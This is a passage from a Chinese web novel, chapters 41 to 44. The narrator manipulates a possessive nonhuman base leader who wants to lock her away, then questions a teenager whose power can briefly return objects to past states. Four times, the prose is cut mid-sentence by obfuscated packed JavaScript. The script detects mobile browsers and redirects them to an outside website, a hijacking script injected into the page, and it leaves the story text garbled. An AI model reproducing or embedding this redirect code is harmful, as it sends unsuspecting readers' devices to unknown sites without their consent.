青少年的声音从手机上方传来,“……搁这么久,电池肯定废了,一断电就会关机。” 没错,我看到屏幕上方的电量显示是一线红丝。 我听见他说,“这电源我还有用,不能卖给你们。你们要找什么资料,就在这里看?” 凌云的手臂仍横在我身前,没有半点松动,不像是对资料有好奇的模样。我也没法去接那个手机。 先前那个带路者,明明白白地听到了凌云的两个命令,知情识意地主动上前,去协调解决“回去”和“修手机”两者间的矛盾——我算是体会到了做领导的好处。 “不是价格的问题……”那青少年犹豫一下,语气很快就重新变得干脆果断,“那电源是我自己组的,不维护很快就会坏,你们带回去也没用。” 这很可能是托辞。 但青少年垄断了技术,有最终解释权,又飞快补充道,“再要搞第二台可就难了。” 他将那台电源放到地上,抱起了胳膊。我看不到他的表情,但猜得到是什么模样。 几乎就在这时,我看见手机黑屏了。 电源应声而坏。没人知道这是不是他故意弄坏的。但除了他也没人会修。 事实上,我们可以走。基地里可能有其他维修员,别的电源。 再不济,基地里会来新人,下一支探险队也会竭尽全力服务凌云的需求。 在场最急的人大概就是带路者了,因为等到下次,这功劳就不是他的了。 凌云身边的那些眼线可都盯着现场呢。 任谁记得这件事,在队员选拔、能力兑换的关键场合里说一句,可能都会影响凌云对派系势力的采用选择。 问题没能解决。追责青少年是无用的,将二选一的决断抛回去请示领导是可行却愚蠢的。 他小心翼翼地献上方案,“您们先回去,我再和他谈谈? “我学习学习,了解下技术痛点在哪里,协调点物资来,把这事给解决好了,再请您过来?” 保留任务,拖延时间,甚至还顺便申请了一笔物资,大概率要走公账。 这时候凌云做领导的好处就显现出来了,“可以。” 带路者忙不迭地去将青少年手中的手机拿回来,递给凌云,见他没接,又讨好地递给我,丝毫不劳凌云挪动尊驾半步。 我能感知到,凌云的情绪渐渐平复了,但他没有放开我。 他照原样挟着我往回走。这姿势也未免太古怪了。他没有人类那种要换成公主抱或是背负姿势的习惯。 我想那是因为他的力量足够支撑我的悬挂。 这么想来,人类觉得姿势古怪不是他的问题,是人类的问题。 有能力的时候,人类也是会将兔子或是猫狗像这样搂在胸前走来走去的。 可在离开了探险队中那种确实需要帮助的困境后,我不想忍受这样的屈辱。哪怕凌云身边那些随从,都训练有素地避开了眼神,不去关注他任何有异于常人的行为。 “可以放我下来吗?”我试探着提醒他,又许诺道,“我会跟着你走的。” 凌云这才将我放落在身侧。 我跟着他走了一步,刚松口气,就又被他挽住了胳膊。我只能紧靠着他的身体走路,心想,这回是没有讨价还价的余地了。 41. 取乐 我摸着兜里物归原位的手机,觉得凌云的问题不是出在那个未接来电上。 他若在乎的话,就不会心切地想走。若想阻止我追究,就不该将手机还给我。 从始至终,只有我和那个青少年在意那个奇妙的未接来电。 青少年知道得比我多。 我得找机会…… 我刚走了一会神,就觉得来自手臂的挟制更紧了。我放下心事,转头看向凌云,又特意让自身的脚步与他更合拍,过一会儿才皱着眉说手臂痛,等到他舒缓下来。 果然,问题出在我的注意力上。 我在吞光者那里已经品鉴过类似的能力副作用了,有着丰富的安抚经验。 可我不想轻易地套用在凌云身上。 毕竟我在吞光者身上试错了那么多次,那些短期见效的处理方案,放到长期来看,或许无异于饮鸩止渴。 我也清楚地意识到,我很小气,我的注意力资源是有限的,我不愿意都投放在某一件事情上。 而且,凌云太强大了,隐藏的能力又太多,值得我更加的谨慎。若我在前期就投入得太多,等他的需求超过了我的上限,我的控制又不及他全身,他或许会毫不留情地将我撕成碎片。 我得更加认真,多动动脑,精准摸清他的底线和需求,再用最省力的方式来饲喂。 为什么凌云会在今天突然被触发?明明之前他都没有限制我的人身自由。我还当着他的面与许多人聊过天,社交也未受限。 是因为肢体碰触吗?我握住了那个青少年的手腕?我还记得,纵火者那会儿对我做得更过分,我也有所回礼,凌云可没有立刻发作出来。 那时或许太早。我对凌云的能力下得不够深,走得不够近。 但是来到一号基地后,我也没有刻意避免过与人的身体接触,日常挨挨碰碰不少,我看凌云不像是很在意的样子。 我在心底猜到答案,又知道还有一种办法可以确认,就是直接问他。凌云比吞光者强的地方,就是他长了嘴。而且他多半会回答。 我耐心等待人群散去,也就是凌云回到住处的时候。 怪物也需要住所吗?我能从吞光者的巢穴中看出功能性。凌云似乎更加无欲无求,但人类会以己度人地供奉各种“生活所需”。 一号基地的空间是很够用的,费钱的是建筑材料和装修。 凌云的住所在这末日里算得上宽敞,离奢华还有很远的距离。 独门独户,有院子。 建筑者借用岩壁修建了半座假山水,我不知道凌云本身能否欣赏得来。户外照明是常备的。 院里有三间房屋。 凌云将我安排在右边的侧屋居住。我还算欣慰地发现那是间套房,各项设施齐全,居住条件舒适便利。 可惜住得离领导太近了,寄人篱下感很重,领导翻脸就能赶我走。 我自认是睡在保姆房里,睡觉也像是在等工作,很难再生出在四号基地中那种拥有了能自主掌握的住所的欣喜。 走入小院后,那些随从就消失于视线中了。 凌云没有放开我,一路挟着我走入了主屋。我还是第一次踏入这里,下意识先观察环境。 这类的家具陈设很符合人类的习惯,与我刚接手那侧屋时的情况差不多,大概都是下属帮忙布设的。 正常人类在进屋后的第一件事,大概都是先将自己的躯体好好摆放到合适的家具上,椅子或床,端看各人的选择。 凌云没有反常识地坐到桌子或架子上。 他的非人之处在于,进屋后他似乎就关机了,带我站在原地。我转头看了一圈回来,他还没有动静,好像没有别人示范,他就不会想到特意坐下来。 “我们回来了。”我先试探着了解他目前对我的态度在哪个状态,“我可以回自己屋了吗?” 凌云转头来看我,他放开挽住我的手臂,但下一秒就握住了我的肩,将我拉到怀里,然后又举起我。 我缓缓深吸了口气。我能感觉到他的情绪很平静,没有不快或是需要迫切处理的部分。 这不是什么应激行为。 而是一种尝试。 他在寻找什么,最终找到的姿态可能会被用于日常。 在我思考的时候,凌云大概也在思考,他的动作一刻不停,举着我比比划划,最后将我挤到了墙壁边,身体倾过来,将我压进狭小的空间里,完全包裹住我。 来不及了,我仓促开口问道,“你想要什么?” 他的动作停顿了片刻,我伸出双手捧住了他的脸,让他看着我,再问一遍,“你想要对我有什么安排,凌云?” 在他的常识里,他的话语就是命令,用不着客气。 我看着他的眼,“你可以直说。” “靠近你。”凌云紧贴着我的身体,不让我有半寸挪动的余地,“观察你。触碰你。感受你。” 他用眼睛看着我,又凑过来用鼻子嗅闻我,脸贴得太近了,我能感受到我自己的鼻息被撞回来打在自己的脸上。我几乎以为他还要用上味觉,因为他的唇舌也近在咫尺,但他要用嘴来说话,“将你关起来。” 我的心一紧,参照着带路者的做法,先给凌云塞一个我能够接受的方案,“关在基地里?” 难不成是我今天去黑湖的行程触碰到凌云的逆鳞,他这会儿才后知后觉地反应过来了? 凌云想了想,“关到箱子里,藏起来。” 我想要骂人,不对,是骂怪物。我忍住了没有立刻将这火气发出来,在心底不断提醒自己还不能骂他,不能踢他,不能打他。 不是因为打不过。 真到了要拼死的时候,我就算折了骨头也要戳他眼睛的。 但我总觉得,现在还没有到那个时候。 这不对。 凌云说完后没有立刻付诸于行动,他的脸还在我的手掌里,眼睛一瞬不瞬地看着我。 我不会怀疑他说出口的话,他没有撒谎的必要。他说了就是想做。他只是不慌不忙。是的,我自认为我对他的影响力还没有那么大,大到他非要将我关起来才能填平欲望的地步。 ——真熬到了那个程度,我可能还会高兴于自己的强大。 当他对我有无可替代的需求的时候,我才能反过来操纵他,引诱他,设法令他自毁。 现在还不行,他的精神体量太庞大了。 他“爱”着我,但并非全身心地“爱”我,这种“爱”还不具备毁灭的力量。 他今天的情绪波动早就平复了,他并非为了填补空虚,为了自救才想要束缚我。 我终于意识到了问题所在。他只是想要索取。 就像孩童索要快乐,开价时从来不用考虑家长的难处。 我总觉得,我曾在吞光者那里遭遇过类似的悲剧。 ……那时的我还只懂得在洞底拼命抗争和呼救。 “可是,”我缓缓地说,“被关起来的话,我会死的。” “你不会。”凌云回答。 我在内心辱骂凌云的自信,辱骂一号基地的伥鬼们将他惯养得太好了。我不想和他实际探讨箱中的通气与食水问题,因为就连我都相信,那些足够了解人类的伥鬼们能帮他想到解决方案。 我甚至还对自己的求生欲有足够的信心。 可是我不能骂他。 对待不懂事的孩童,就只能和他慢慢地讲道理。 “把我关进箱子里,”我忍耐着用舌尖吐出这么荒谬的短句,“不就无法靠近我了吗?至少,携带起来没那么方便吧?” 不等他否定,我又说道,“你说要观察我,可我被关起来后,就是一成不变的了。 “我留在外面,你才能观察到更多的我,不一样的我。” 我松开手掌,弯曲手指,让指尖轻轻地刮过他的脸庞。 低声说,“你得先松开我些。” 凌云满足了我的要求。 于是我被禁锢在胸口的手臂再度有了些许活动的余地,我得以举起手,抚摸他的面颊,触碰他的耳垂,然后绕过耳后,将手指插进他的发丝里,轻轻按压。 感谢他有张过于标准的脸,让我在做这些事时,没什么心理抵触。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773118|152030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 我不知道他那仿人的神经网络能否顺利享受到头疗推拿的乐趣。至少他很配合。哪怕他只是好奇,对我都是有利的。 我能感受他的情绪暂且还是松弛的。 “只有放开我,让我行动,”我趁他放松,缓声灌输新的观念,“你才能看到我,感受我,了解我。” 凌云在思考。 我按低他的头,他顺从了我微不足道的力气,我教他听我的心跳,“你能听到这个声音,就说明我活着,我还在。” 我暗暗强调我生命的重要性,将之与我的陪伴挂上等号,“你能知道的,我一直都在。” 他俯身时让出了空间。我上身能活动的范围更大了,呼吸也变得顺畅。 “对你来说,距离有那么要紧吗?”我问,“我在基地的哪个角落,甚至去到黑湖边,对你来说有区别吗?” 凌云前几天的纵容态度,让我产生了这样的猜测,我借机来证实,“……我不都还在你的箱子里吗?” 他没有否认,没有像说我不会死时一样,立刻否认说无法控制住我。 “哪个箱子比较好?”我问,“我能动的,还是我不能动的?”我不给他独立解答的机会,帮他作出决定,“肯定是前者。” 我知道凌云是个讲道理的怪物。 他暂时没有找到反驳的理由。就不会那么快更换决策。 凌云没有立刻放开我,我并不着急,逃得太快会适得其反。 我轻轻怀抱住他,耐心地数数,给他时间让他想起其他要做的事。 我甚至好奇地抚摸他,去找他上次的伤口。他恢复得很好,或者说将新皮肤层仿造得很好,找不到丝毫接缝,摸上去平坦细腻,温热起伏,有如真人。 说实话,这种化外物为己用,甚至能改变材料质感特性的能力,总让我想到吞光者。 一号基地的巢母曾容忍吞光者多次在黑湖边出没。我如今很了解凌云的冷漠和包容,但除此之外,真的没有什么特殊原因吗? 我随自己的心意,触摸着他,并不害怕这种程度的亲密接触,因为我在最开始就紧张地试探过,确认并放心了,他没有相应性别的生理反应。 我猜他没有学习过在人类生命繁衍中最重要的课程。人类有区别于其他生物的羞耻心。他无法像学习行走坐卧一样,从人类那里学到被藏匿起来的行为。 上次的强吻没准就是他从观察中学到的最高级的人类亲密相处方式了。 大概也没人会身体力行地去教他。我毫不怀疑会有人想引诱他。以一号基地这帮鹰犬的德行,肯定有过尝试。 然而凌云的人类身份是男性。我不知道凌云为何选择了这个性别。在他塑造这幅身躯前,大概已经完成了最初的数据采集,知道人类有两种生理构造区分。他选择了样本数量最多的一种?选择了综合体型更庞大的一种?还是说在初步了解文化后选择了人类中更常成为领导者的一种? 那缘由已不可知,选择已成现实。 可是在人类的文化中,亲密接触也常常由男性作为主导者。如果他本身不具备这样的知识,那么外人的引诱无论含蓄还是大胆,只要指望着他的回应,就无法取得效果。 我都能想到那些人铩羽而归的委屈,他们寄希望于唤醒目标的本能,谁能想到,目标并不具备本能呢? 用明确的指令才更可靠些。可谁敢对凌云下命令? …… 我曾经极为恐慌,在乎并害怕他可能存在的生理反应,因为我不想被动接受任何事。此刻却不一样了。 他没有本能。我反而可以放松心情,将他当做取乐的玩具。 凌云只是想要靠近我,观察我,触碰我,感受我。 我信手揉搓着他的发丝,想了想,说,“你知道这时可以做什么吗?” 他抬头看着我。 他有着对人类来说极为标准的脸。 成年人在这样被挟制的境地里,也有苦中作乐的取乐方式,但具体细节涉及个人隐私,不影响人们理解后续事情发展,最重要的是编述者不让讲,所以就不赘述了。 42. 老师 怪物比人类有自知之明。 在未知的领域里,人类会不懂装懂、自行其是,怪物反而能虚心听人说话。 这让此领域中整件事都能全程在我的掌控之中。 这次我没有陷入缺氧或昏迷的尴尬境地。凌云接受了我对人类身体脆弱性的阐述,在我喊停的时候停下来,看我伏在墙边慢慢喘息着平顺了呼吸。 我心想,如果上次我愿意中途提供指导的话,那次天台上的事件大概也不至于以那种形式收尾。 我推开了他,借机脱离了与凌云的接触,结束了由他开启的这次关系状态。在他下次想起来要再靠近我前,我得给他找点事做,“如果想要学习,那么你需要老师。” 也为自己安排点待遇。 凌云回答,“我有过老师。” 哦?我不算太意外,毕竟凌云并不是真的傻。我问,“教了你什么?” “语言。知识。行为。文明。” 我心想他大概学得不坏,至少他能听懂的语种要比我多得多,但要是细究他的某些常识概念的话,他好像又学偏了。 我小心翼翼地了解情况,“教你的人去哪了?” 他简单地回答,“死了。” 我不由紧张地向凌云追问,“怎么死的?” 他停了片刻。 我心底有些发凉,“你杀的?” “不是。”他回答,“有些死在了外面,我不知道怎么死的。”然后开始报他所知道的那些死法,“失血,心脏骤停,脑死亡……” 我不得不打断他,“好的,我知道了。” 我在凌云的情绪中找不到任何怀念或悲伤,这很自然。他对老师这个词的理解,大概也直指词语的本义。 他不像人类那样,会因为文化传统而衍生出多余的感情,就像刚才,我在教学中踹了几脚他那过于标准的脸,力度构不成攻击,他也不会将之理解成羞辱。 凌云看着我说,“人类很容易死去。” 我觉得有些冷,默默整理好衣服,然后抬头望着他,“我可以做你的老师,能教给你一些你所不知道的东西,那么,”我提出申请,“你会保护我,让我不要那么轻易死去吗?” 他说,“可以。” “我不杀伯仁,伯仁却因我而死。”于是我教给他第一课,“人类真正的死因,有时并非是他们最终受到的致命伤害。 “人类会死于压力,死于出走,死于绝望。” 我敢相信,再强大的怪物都救不活想死的人,无非是让对方从一种死法换成另一种死法。 “为什么?” “大概因为这是双刃剑。”我想了想,“意志是人类的长处,所以也会成为人类的短处。 “人类相信虚幻无形的事物,相信抽象的利益。”我告诉他,“比起眼前的存活,人类会用更长的尺子来丈量得失,所以痛不能逃,乐不能笑,生不足喜,死不足惧。” 为了更好的未来而拼命,为了更糟的未来而放弃,都是一回事,是将预见凌驾于现世之上。 “这就是意志。” “虚幻无形的事物,”凌云说,“是你的能力吗?” 我停下话语,看着他。 “你一直在对我使用能力。”凌云语气肯定地说。 我无法否认,“……或许是这样没错。” 他不是傻子,拙劣的欺骗没有意义。但我赌他还分不清意志、情绪、感情以及最特殊的“爱”之间的区别。 我坐直身体,询问他,“意志是人类所特有的能力,你想要学习吗?” 凌云突然握住我的手。我控制住让自己不要立刻退缩。 有一瞬里我怀疑他要像抽走吞光者的力量一样,吞噬我的能力。 幸好我没有感受到麻痹或痛苦,也没有力量被抽走的感觉,他似乎真的只是握着我。 我又开始担心,这会不会是新一轮的黏黏乐,这次给他抓住了,不知他又要到什么时候才肯放手。 他说,“人类是神奇的,觉醒的能力各不相同。” “所以你想要学习?”我保持着语气的平静。 “我感受到了你的能力。”凌云说,“有一次,还感受到…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14777588|152030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虚幻无形的你。” 他的语句难得变得不确定。我想,他完全不知道自己在说的事物是什么,就像瞎子哪怕记住了所有的色彩单词,也无法正确说出偶尔一瞬复明时看到的究竟是哪种颜色。 好在他复现了当初的场景,所以我知道,他说的是我接受赐福的那次。 他在当时短暂地反向感受到了我的情绪。 “我现在感受不到它。”他对我说。 我紧紧闭着嘴,装作无法顺利操控自己的能力。 “我知道它还在。” 凌云提出要求,“我想要将它关起来,”这回他加上了新的定语,“关到没有别人能打开的箱子里。” 我明白了。 之前我问过凌云想要如何安排我,凌云的所有回答都以“我”作为主语,以“你”作为宾语。 ——“靠近你。观察你。触碰你。感受你。” 因为他习惯了自主,他的力量和主观能动性要远远强于任何人类,他习惯了由他自己作为所有行为的主导。 他无法转换思维,他分不清楚,就连无能为力的吞光者都比他看得明白,怪物们真正想要的是我,是我的行动。 ——“想要你看着我。想要你回应我。想要你爱我。” 凌云对此是不自知的。 这恰好印证了我先前在路上推测出来的那个答案。 这就是为何凌云先前能够放任我四处行走,放任我与人聊天,却只在我为其他事动怒的时候,感到不喜。 他还不能理解分辨各种感情的性质,但他要我所有的激烈情绪。 他要我的注意力,要我的感情,要我将所思所想都集中在他的身上,要我为他悲,为他喜。 这也是他当初逼吻我时,不肯放弃,一直在尝试寻找着的回馈。 “我知道了,”我答复说,“它在你的箱子里了。” 我在心底补充,仅限你能看出来的那部分。 问题终于得以解决,凌云放开了我的手。 然后俯身过来吻我。 真是贪心的怪物。 43. 他人的研究 带路者那边一直没有传回佳音。 我也没打算等他。 我对环境道路的记忆能力比对人脸的要强得多,找机会独自回到了那家废品回收站一样的房屋前。 我给凌云的出门理由是,我要找工作。 因为人类不工作就会死——这在逻辑上有一定道理,最重要的是,作为人类基地管理者,凌云还算尊重这种看起来合理的基础规则。 我已经给凌云上过几节课,教过他某些不良行为和环境会对人类心理健康造成损害的道理。 也为自己争取到了在侧屋独自居住、自身清洁权、休假和找工作的自由。 要不是一号基地的既有制度在拖后腿,人类(包括我自己)也用实际表现证明了自身的强韧,我还能忽悠到更多些。 代价就是我真得认真工作,不能毫无理由地赖掉基地的税款征收,要好好考虑被自己挥霍一空的光珠子库存问题了。 要是舍友还在的话,大概会嘲笑我,明明能当金丝雀,偏偏要靠卖力气吃饭。 我想,有些东西能晚点出卖的话,还是晚点出卖比较好。 事情又没那么糟。 ……实在赶不上这一期缴税的话,我就去薅凌云的庭院照明,借来救急。 底线摆在这里,事实上我对自身的打工能力还算有点自信。 不到最下策,我不想考虑接受来自凌云手下那些派系首领别有用心的豁免或救济。 他们派来了人和我接触,试图讨好拉拢我。 但我觉得,他们带来的风险,以及可能对我形成的掣肘,远大于他们能为我提供的利益。 我真正想要的东西,有哪点是他们能满足的呢? 在这方面他们可能还不如身为怪物的凌云。 这所房屋和先前没什么差别,门外堆满了杂物,看来带路者提到的物资什么的还未到位。 那些物件虽然破旧零碎,但细看会发现摆放得很整齐又有规律,让我看得很舒服。 我有些好奇锈钢架子上摆的那些花盆究竟有什么用,要只是闲置的话,不会认真装满了土壤或水。 在地下这么深的地方,岩石比泥土常见。 我摸了摸某个花盆中的土壤,软硬适中。若没人特意照料的话,这样摆久了,土壤理应干透掉。 总不会是我想的那种用途吧? 我还没有在地底见过人类以外的旧日生物。别说花花草草了,连病毒都没有。 我想了想,又伸手去探另一个花盆中的黑水,果真在水底摸到了一颗莲子样的种子,摸起来外壳很坚硬。 我听说莲子的生命力特别顽强,在地底埋藏千年的古莲子都能重新发芽。如果黑水能让人类复活并觉醒能力的话,古莲子中能培育出妖怪吗? 我正这么想着,突然听到屋门处一声动静,是那个青少年拎着喷壶从屋里出来。 我立刻将手从水中抽回来,转身面对他,不知他看到这件事没有。要是他很在意的话,或许还有点麻烦。 青少年虎着张脸,“是你!” 我怕他逃进去关门,快步走过去,一掌撑在屋门上,低头看他,“我来问上次的事。” 他看了眼门,又看了眼我,最终没好气地说,“进去说。” 正合我意。 屋外东西摆得多,果然是因为屋内放不下。屋里比外面还拥挤,各种架子和台面间勉强留出了狭窄的过道。 这里看着像是什么维修店,台面上散乱着工具箱和各种零件。 角落里还台老式缝纫机,旁边堆叠着各式各样的衣裤。我想起来自己也有衣服要改,不由手痒起来。 “这里营业额怎么样?” 青少年瞪着我,“你来就为问这个?” 当然不是。但我也确实好奇,一号基地里出卖手工劳动力的市场体量在什么规模,要是生意好的话,我也可以试试。 青少年将喷壶放在桌上,气鼓鼓地走到柜台后面,“到这边来说。” 我跟了上去,绕过货架时又听到他提醒,“小心别碰了我架子上的东西!” 我回头看了眼,发现货架背面也藏了几层花盆。 青少年特意提醒,是因为每个花盆外都罩着玻璃罩子,看起来就很容易被撞坏。 这的确像是什么培育实验,因为每个罩子上都贴着标签,还插着像是写了日期的记录卡。 实验看起来并不成功,因为我在这些花盆中找不着半点绿色。 令我在意的是,那些玻璃罩子好像是特制的。尺寸都差不多,大体合适,且罩子底部都留了一小段管道接入口,用塞子封着。 功能上的细节很用心,但整体轮廓却歪歪扭扭的,不怎么齐整,不像是工业制品,不会是自己吹的吧? 这么说来,玻璃搬运不易,在末日世界里又不实用,我在地底还真没怎么见过。 因为人们没有需求。 其一,内外都用光珠子照明的建筑是不需要开窗采光的; 其二,在杯器碗具上,皮制水囊可能是迫不得已的原始选择了,但从地上带回来的物资中,搪瓷碗和塑料水壶肯定都比玻璃更好用。 需要用上玻璃的材料特性的地方,并不是日常生活,而是…… 我这回特意去找,果然从那堆看似普通的瓶瓶罐罐中又找出了一些玻璃器皿,烧杯,集气瓶,甚至还有几组试管。 虽然有些简陋可笑,但这不是维修店所需要的配置,这里是一个研究基地。 “外面那些是没用的。” 青少年的声音从那边传来,“不密封的话,空气环境根本就不对。” 我不明白,为何他会主动和我谈起这些用花盆做的实验?难道是青少年的卖弄心理,见谁感兴趣就要主动炫耀一番? 不过,我还真挺有兴趣的,所以顺着他的话语问道,“不对?” “哈,你不知道吧?地底的空气成分和过去的大气环境完全是两回事!”他不知为何兴奋起来,说道,“你没发现吗?你还在呼吸吗?你没发现这地底根本就没有氧气吗?” 他扯着青春期尖利的嗓子质问,“你究竟在呼吸什么?” 我愣了愣。 我从未想过这个问题。可认真思考一下,若人类真能如此适应地底空气的话,过去的矿工就不用带着金丝雀下矿了。 且不说岩层中矿物释放的有毒气体,就算是在地表,在地球失去了阳光,失去了所有绿植之后,大气中的氧气浓度还能如同往常一样吗? “可是,”我喃喃地说,“从黑湖醒来后,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他用着他那把实在不怎么好听的嗓音,嚷嚷起来,“听到这么大的消息,你不该难以置信吗?你不该破口大骂,转身就走?” 我有些怀疑他都经历过什么,然后听见他继续编排道,“要不然就是哭哭啼啼,惊慌失措?到最后怀疑人生,寻死觅活,万念俱灰?” 我这才意识到,他告诉我这么多,不是出于好心。 这不是什么炫耀。他是故意带我走到这里来看盆栽,然后刻意引到这个话题。 正如兰姐当初所说,很多人类只有在什么都不知道的情况下,才能浑浑噩噩地活下去。在这个世界里,知识往往不是财富,而是诅咒。 青少年想用这件事情,来击退我。 他失策了,我没有受到什么打击。 我已经了解过太多骇人听闻的真相。这个信息当然也很重要,但在这样的世界背景下,已经不算什么了。 我甚至有预感,哪怕我在最早醒来的时候就得知这件事,遭受的心理挫折或许也不如在四号基地中见到巢母时那样大。 毕竟我是个实用主义者。 不管我现在的身体在概念上算不算活着,算不算人类,只要不影响我的生存,能适应环境就行。仔细想想,我还不用再担心缺氧和疾病,在极端环境下少了心理包袱,这或许能算得上是个喜讯。 44. 时间线 从结果而言,我没有损失,还赚了知识。 但这种情况下,我也不会去感谢对方的无偿分享。所以我单刀直入地问,“那天的来电是怎么回事?” 青少年哑口无言。 我边说边向他走去,“那不是闹铃。” “行了行了你怎么认死理?”他急急忙忙地说道,“好吧,你看着。” 他左右看看,从柜台边拿起一叠纸笺,“就这个吧,”递给我,“打乱掉。” 我不明所以,翻看了下,一堆数字龙飞凤舞的,不知道是记账卡还是实验数据记录,反正不像是弄乱了次序也不要紧的东西。 但既然他说了,我也不怎么客气地照做,然后放回到他摊开的手掌心里。 “看着。”他说。 我看到那叠纸片纷飞起来,重新排序后落回他的手中,整整齐齐。页码次序或许恢复到了我打乱前的模样,反正扉页的样式是对的。 让物品浮空的能力很常见。 如果只是炫耀记忆力的话,也没什么了不起的。 他大概也这么想,所以他的演示仍在继续。 我看见纸片上的数据按照书写时的顺序一点点褪去,墨迹从叠着的纸页里沁出来,无序地散落到他手心里。 纸片变回了白页,那些翘起的边角和折痕也被抹平,恢复成崭新的模样。 这还没有结束。 纸张逐渐失去光泽,变得粗糙暗沉,浮现出纸浆成型时的纹理,最后散碎为纤维的碎末。 青少年一把将那些碎屑和墨点揉成一团,说,“这就是我的能力。在有限的范围内,让物质间的组织形式,回归为过去的模样。” “厉害。”我由衷说道。 “没什么用的。”青少年说道,“范围又小,打不了怪,一旦停止能力……” 他摊开手掌,我看见那些碎屑重新在他手中铺平展开,罗织为纸,墨迹重现,数据还原,这一切几乎发生得比他用能力回溯时还要快。 “物质就会按原有的轨迹重组,就像是命运一样。根本就改变不了什么过去。”他嘟囔着,“你相信有命运吗?” 那些纸张自主纷飞,恢复成被我打乱后的次序。 然后浮现出浅浅的皱痕——这或许是因为他刚刚揉搓过碎渣。这种外力被排到了时间序列的最后来结算。 就如他所说,这种能力的伤害很低,无法在打怪时为敌人制造仅存在于过去的弱点。 哪怕他曾对纸屑和墨点的组织秩序造成了颠覆性的变化,最终纸张中的纤维结构依旧完好,数据记录也牢牢地固定在应有的轨道上。 这大概就是他所说的命运。 我不由问,“你让我将这些记录的顺序打乱了,不要紧吗?” “要查资料的时候再恢复一遍就好了。”青少年随手将那叠打乱的纸页丢回桌面上,拿笔盒重新压住。 这话说得就像舍友每次乱丢东西然后又翻得整屋乱糟糟时一样理直气壮,让我有些手痒想揍他。 我深吸了口气,“所以,当时你是对我的手机用了能力?” “谁知道你的手机放了那么久有什么毛病,充上电后能不能好啊?”青少年不高兴地说,“我就想轻松赚点修理费。” 也就是说,那个移动电源只是个幌子。 他就没想要认真修手机,只是当场让我的手机回归了过去,再现了某个时刻的来电。 不对。我看着他说,“我没有在电量很低的情况下接到过HR的来电。” 过去的我很看重自己的手机,宁愿随身背很沉的充电宝,也不会让它电量低到那个程度,尤其是在等待HR电话的时候。 “还不明白吗?我的能力是虚幻的,”他点点那堆纸页,“只能让物品短暂呈现回到过去某个时间点的状态。 “如果我对那个状态动手脚,出现的结果就是那个状态在概率下可能呈现的变化。 “我将纸张复原为白纸后,能够写下新的文字,在我的能力结束前,新的字迹不会被命运干扰,对吧? “就像那个时候,我递给你的手机,也可以操纵互动,充了电就能开机,不会被固定在黑屏状态动不了,对吧?” 我点点头。看来那个移动电源不是完全没用的。当时我也看到了充电提示和开机动画。这段话符合逻辑。 “我也怕露馅啊,没直接将手机还原到过去的使用状态,只是恢复到了某个时间点,”青少年还算负责任地耐心解释道,“就是手机没再用了,彻底断电了,但部件还好着,充电了就能开机的时间点。” 这就是当初充电那么慢的原因,青少年让手机接着电源,能力用用停停,不断观察着变化,怕能力用得太多,跑去了更往前的时间线。 我继续问,“那个来电……” “我也是第一次遇到这种情况,我不敢完全确信是不是这样,但你真想要个解释的话,”他自暴自弃地说,“你可以理解成,那个来电和手机闹铃差不多,到点了就会响。 “在我将手机恢复到的那个时间点里,如果你开机了的话,是有可能会接到那个电话的。” “在手机关机之后?在我失去意识之后?在世界末日后?”我追问,“我还会接到HR的电话?” 确实存在这样的可能性。 我慢慢找理由,世界末日未必就是一口气降临的,我和HR隔着半个城市,或许只有我们那批逃难者是最早接触到末日的倒霉鬼。 青少年知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790476|152030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我真正想问的是什么,“如果你想问什么平行世界呀,另一个时间线什么的,我的答案是,”他耸耸肩,“谁知道呢?有可能吧。 “毕竟电子设备的复杂性、交互性和常用性,不是什么其他物件能比拟的。” 他又给我泼冷水,“当时我也让你接通电话了啊,却什么都没有听到,对吧? “联系上另一个时空哪有那么容易。我又不是没找别的电子设备试过,要能稳定复现这种怪事的话,我还想靠我的超能力来组量子计算机呢。 “你敢说你就完全弄清你自己的能力是怎么运作的吗?有个大体认知就差不多得了,偶尔出个岔子,你就当成是鬼故事,反正我们和鬼也差不多。” 他听起来不像是撒谎,语气很诚恳,最重要的是,我发现自己能接受这个说法。无论是和另一个世界互动没那么容易,还是超能力就像鬼故事的这一段。 我依旧认为这件事有深究的价值,或许我打心底不愿意放弃和往日世界的联系,总觉得,我们或许能从那些末日未曾降临的世界中找到什么关键的情报。 青少年看起来不想再修我的手机了。我没有提出将手机交给他研究的请求,因为现在我也不信任他。 凌云和那些权势者不在。 